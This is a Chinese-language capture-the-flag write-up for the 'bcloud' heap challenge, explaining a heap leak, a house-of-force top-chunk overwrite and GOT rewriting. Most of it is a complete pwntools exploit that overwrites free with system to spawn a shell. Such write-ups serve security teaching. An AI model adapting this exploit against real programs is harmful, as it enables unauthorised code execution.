Introduction
知识点:
./bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
套路和 cookbook 差不多,程序逻辑相对简单。
Leak
在 0x80487a1
函数处输入 name 程序 malloc
了一块内存,把指针直接放在了 name 局部变量后面,输入与变量大小相
同长度的字符串即可将堆地址一并打印出来。
p.recvline("Input your name:")
p.send("A"*0x40)
p.recvuntil("Hey "+"A"*0x40)
heap_base = u32(p.recv(0x4))-0x8
溢出 top chunk 在 0x804884e
函数处,同样变量之间紧紧相邻导致字符串边界扩展,然后使用 house of force 改写
note array 数组中的值为 got 表上的地址,先将 free 改写成 puts@plt 泄露 libc 地址。
payload = p32(0x4)*2
payload += p8(0)*(0x80-len(payload))
payload += p32(free_got)
payload += p32(atoi_got)
new(int("0xb0", 0x10), payload)
edit(0, p32(puts_plt))
delete(1)
Exploit
后面老套路,写 free 为 system。
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
elf = "./bcloud"
note_array = 0x804b120
note_len_array = 0x804b0a0
puts_plt = 0x8048520
atoi_got = 0x804b03c
free_got = 0x804b014
atoi_off = 0x2d250
system_off = 0x3ada0
p = process(elf)
def new(size, content):
p.recvuntil("option--->>\n")
p.sendline("1")
p.recvline("Input the length of the note content:")
p.sendline(str(size))
p.recvline("Input the content:")
p.sendline(content)
def edit(idx, content):
p.recvuntil("option--->>\n")
p.sendline("3")
p.recvline("Input the id:")
p.sendline(str(idx))
p.recvline("Input the new content:")
p.send(content)
def delete(idx):
p.recvuntil("option--->>\n")
p.sendline("4")
p.recvuntil("Input the id:\n")
p.sendline(str(idx))
# leak heap
p.recvline("Input your name:")
p.send("A"*0x40)
p.recvuntil("Hey "+"A"*0x40)
heap_base = u32(p.recv(0x4))-0x8
log.info("heap_base: "+hex(heap_base))
# overwrite topchunk
p.recvuntil("Org:\n")
p.send("A"*0x40)
p.recvuntil("Host:\n")
p.sendline(p32(0xffffffff))
# leak libc
off_size = note_len_array - (heap_base + 0xd8 + 0xc) - (2 * 0x4)
new(off_size, "")
payload = p32(0x4)*2
payload += p8(0)*(0x80-len(payload))
payload += p32(free_got)
payload += p32(atoi_got)
new(int("0xb0", 0x10), payload)
edit(0, p32(puts_plt))
delete(1)
p.recvuntil("Input the id:\n")
libc_base = u32(p.recv(4))-atoi_off
log.info("libc_base: "+hex(libc_base))
# write system
system_addr = libc_base+system_off
edit(0, p32(system_addr))
new(8, "/bin/sh")
delete(1)
p.interactive()